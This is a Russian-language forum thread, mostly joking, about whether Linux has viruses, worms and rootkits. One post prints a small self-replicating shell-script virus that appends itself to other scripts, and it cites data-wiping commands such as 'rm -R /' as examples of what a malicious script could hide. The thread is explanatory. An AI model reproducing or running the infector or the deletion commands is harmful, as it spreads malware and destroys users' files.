<graveworm> предлогаю приятелю переходить на линукс
<graveworm> он очень боица вирусов
<webster> да в линуксе стоит бояцо их)))
<webster> их же целых 9 ))))
<webster> и то половина не работает
<webster> с остальной половиной надо ебацо чтобы установить
БОР переезжает на линухру?
Кстати, а у кого-нибудь есть вирус для линукс?
Я уже семь лет ищу сие чудо
самый главный вирус это кривые ручки
Я тоже хочу вирус!
Уже 3ий месяц все работает и никакой активности вирусов
Я скучаю по ним
А что?! Я вот видел вирус в NIX! Вот прям своими глазами! Засунул в Mac флэшку, а там в корне два файла висят - autorun.inf и toy.exe. Я даже сохранил у себя его, так, на всякий пожарный. И так, что мы имеем - вирус в линуксе быть может, а работать…хм…под wine что ли попробовать
А они что реально существуют???
Есть, конечно, но их нужно долго устанавливать ))
ага, wine’ом
кто ЛОР читал на баше не смеётся!
Hans R. Steiner
у кого-нибудь есть вирус для линукс?
AlexzAK
Я тоже хочу вирус!
Вирусы в Linux есть и не только в нем, но, как говорится - их мало. Мое мнение - гораздо опасней не бинарные (к-е будут запускаться только на узком числе машин), а скриптовые. Причины:
sh или bash установлен на всех машинах
эти оболочки во всех UNIX устроены одинаково
в системе есть достаточно консольных программ не только для обычных гадостей, но и для вирусов.
Вот скажите. Вы скачали sh-скрипт, который распаковывает tar-gz архив. При этом вы запускаете его от root’а. А где гарантия, что в нем какой-нибудь вредоносной команды, вроде ‘rm -R /’, которая туда была вставлена умышленно? И в результате запуска оного скрипта вы остаетесь у разбитого корыта. Даже если вы запускаете его не от рута, команда ‘rm -R $HOME/*’ принесет пользователю много вреда - удалит все его файлы и настройки.
Интересующихся могу послать к статье Криса Касперского “Вирусы в UNIX, или Гибель Титаника II” (по-моему есть на www.wasm.ru). Вот пример очень простого sh-вируса:
#!/bin/sh
#Вирус “sh-450”. Удалите эту и строку и “exit”, чтобы вирус мог получить управление.
exit
for F in *
do
#Если в первой строке найдено “#!” и “/sh”, значит $F - sh-скрипт
if [“$(head -c9 “$F” | grep -s -E -H “#!” 2>/dev/null)” != “”]; then #This $F - a Script
if [“$(head -c9 “$F” | grep -s -E -H “/sh” 2>/dev/null)” != “”]; then #$F - a sh-Script
if [“$(tail -n1 “$F” 2>/dev/null)” != “#Virus v.1.1”]; then #$F - not infected
tail -12 $0 >> “$F” 2>/dev/null;
fi
fi
fi
done
#Virus v.1.1
Этот скрипт ищет в текущем каталоге все не зараженные sh-скрипты (в конце к-х нет ‘#Virus v.1.1’) и копирует в их конец последние 12 строчек своего тела. Это очень простой пример. Есть еще полиморфные и закодированные вирусы, и такие, у к-х умышленно усложнен алгоритм чтобы ни пользователи, ни антивирусы не поняли алгоритм его работы.
lcd_swat
Засунул в Mac флэшку, а там в корне два файла висят - autorun.inf и toy.exe.
AccessD
ага, wine’ом
Нет, это - Windows-гадости, к UNIX они не имеют никакого отношения! Бинарных вирусов, скомпилированных для Linux всего-лишь 50-60. Мне неизвестно - сколько скриптовых.
Не стоит думать что если в UNIX нет вирусов - то она безопасна. В этой системе другая раскладка сил. Для размножения вирусов чтобы программа была запущена от root’а. Размножение вирусов практически ограничено потому что никто не будет от root’а запускать офисную или прикладную программу, - в основном запускаются те, к-е были созданы во время установки системы. В Windows 98% юзеров сидят под администратором, поэтому любая запущенная программа может писать в другую программу.
А вот посмотрите на червей. В UNIX их почти столько же, сколько для Windows, несмотря на то, что даже Linux встречается в тысячи раз реже, чем Windows. Черви спокойно существуют в UNIX-системах (хотя бы про червь Морриса все слышали - поражал BSD 4), есть черви Slapper и Scalper. Во-первых играет роль наличие исходников уязвимых программ, во-вторых, заплатки выпускаются реже (посмотрите на FreeBSD - 1/3 дыр еще не закрыта , хотя для некоторых из них уже есть эксплоиты). И в-третьих, сами заплатки устанавливаются реже - их установка и новых версий гораздо проблематичнее:
установка программ в UNIX дольше и сложнее, чем в Windows
после обновления программы может потребоваться обновление других программ, вплоть до ядра.
В UNIX также более распространены руткиты (скрывающие свое присутствие в системе). В Windows они практически не нужны - ведь все программы в 98% случаев итак запускаются от Администратора.
Итак, под UNIX никогда не будет много бинарных вирусов (а вот скриптовых - может быть больше). А вот новые черви и руткиты будут гораздо более знаменитыми.
Так что… не огорчайтесь - на каждую старуху своя пруха!
| Цитата: |
|
Интересующихся могу послать к статье Криса Касперского “Вирусы в UNIX, или Гибель Титаника II”
|
попадалась несколько лет назад.. вода водой, человеку видать писать уже нечего было, вот и решил ещё куда-нибудь залезть.
2 AndreyMust19
Мужчина, вы серьезны как рак легких в своих рассуждениях. Теперь внимание вопрос: вы лично видели вирус под GNU/Linux _в диком виде_ хоть раз в жизни (в том числе в вашей профессиональной деятельности, если вы как-то связаны с IT).
Я вот пользуюсь системой с 2001 года. Последние года три-четыре GNU/Linux у меня стоит дома и на работе. И при этом я лично не сталкивался с какими либо вирусами и т.п. Я что-то делаю не так?
Вот об этом и были все ШУТКИ в этом топике (а мы с вами в разделе “Юмор” назодимся, если что)
Но вы все же смогли удачно пошутить. В частности, имеется в виду фраза: “А вот посмотрите на червей. В UNIX их почти столько же, сколько для Windows”. Это развеселило.
И еще нужно понимать, что запуск чего бы то ни было от root - это довольно неумное действие. Тем более в вашем примере (когда скачал невесть что и давай его пускать от рута не глядя). А вот если будете пускать от пользователя, то масштабы бедствия ограничатся проблемами в домашней директории пользователя и директориями, на которые он имеет права на запись. При этом сама система не навернется. А вы ведь делаете регулярные бэкапы, да? Следовательно и восстановить пользовательскую директорию не проблема, да?
Вайт, ты просто линуксом пользоваться не умеешь… по этому у
тебя и вырусов нет… ты не умеешь их правильно искать и
запускать (видимо, я тоже не умею… за шесть лет практически
полного необщения с виндовсом, разучился… все навыки
растерял)
кстати:
http://ru.wikipedia.org/wiki/Список_компьютерных_вирусов_и_ч ервей_под_Linux
Но… лично я, вживую, ни одного не видел… и на самом деле, я даже боюсь себе представить то, как долго придется заниматься мозгосексом для того, чтобы заставить работать хотя бы один, хотя бы в конкретной, отдельно взятой системе
ГГ
Видимо так и есть
To Legalizer, Hans R. Steiner:
кстати, в той статейке никсойдов обозвали страусами, прячущими головы в песок, вместо того, чтобы бороться с вируснёй )))
Конец там был что-то вроде - “вы хотите уподобиться такому страусу? а я нет!” ))
Спациально нашел статью этого страуса
“Что бы там не говорили фанатики UNIX, но вирусы размножаются и на этой платформе. Отмахиваться от этой проблемы – означает уподобиться страусу. Вы хотите быть страусами? Я думаю – нет!”
http://xakforum.ru/index.php?topic=107.0
“Если на машине постоянно обновляется большое количество программного обеспечения (в том числе и создаваемого собственными силами), привилегии на модификацию исполняемых файлов становятся просто необходимы, в противном случае процесс общения с компьютером из радости рискует превратиться в мучение.”
Ч..еловек, из страха перед большой птицей, решил заняться поиском привидений и охотой на ведьм
В общем, если почитать статью, хохма на хохме, косяк на косяке, а Касперский - страус
| AccessD писал(а) Mon, 09 March 2009 20:38 |
|
кстати, в той статейке никсойдов обозвали страусами, прячущими головы в песок, вместо того, чтобы бороться с вируснёй )))
Конец там был что-то вроде - “вы хотите уподобиться такому страусу? а я нет!” ))
|
Человеку деньги надо зарабатывать, а Вы шутки шутите!
Legalizer
| Цитата: |
|
вы лично видели вирус под GNU/Linux _в диком виде_ хоть раз в жизни (в том числе в вашей профессиональной деятельности, если вы как-то связаны с IT).
|
Я вас не пугаю - я вас предупреждаю. Даже если вы работаете в UNIX-системе, не забывайте обновлять ядро и все установленные в ней программы (или пользуйтесь стабильными версиями без ошибок).
| Цитата: |
|
Это развеселило.
|
А я - серьезно.
AccessD
| Цитата: |
|
вода водой,
|
я не советую эту статью, я вам ее назвал только чтобы е возникали вопросы “откуда ты это узнал?”.
Hans R. Steiner
| Цитата: |
|
я даже боюсь себе представить то, как долго придется заниматься мозгосексом для того, чтобы заставить работать хотя бы один
|
Вот поэтому я и говорю - забудьте о вирусах! Есть черви и руткиты.
Черви - в ту же стопку, что и вирусы
Руткиты - для этого надо сперва заиметь доступ к моим
системам… а сие, с целью установки руткитов, рискованно для
здоровья
В общем, если взять любую, даже самую тупую книгу по
информационной безопасности, Вы там сможете найти на первых же
страницах, что если на Вас кто-то положит глаз, максимум что Вы
сможете сделать - довести систему до уровня, когда взлом будет
нерентабельным с точки зрения соотношения затрат к выгоде… все
остальные случаи - либо кривые руки админа, либо сказки на
ночь… забудьте… вирусов и червей под линукс нет, а те что
есть и при этом у Вас работают, написаны специально для Вас, а
если так, Вам терять уже нечего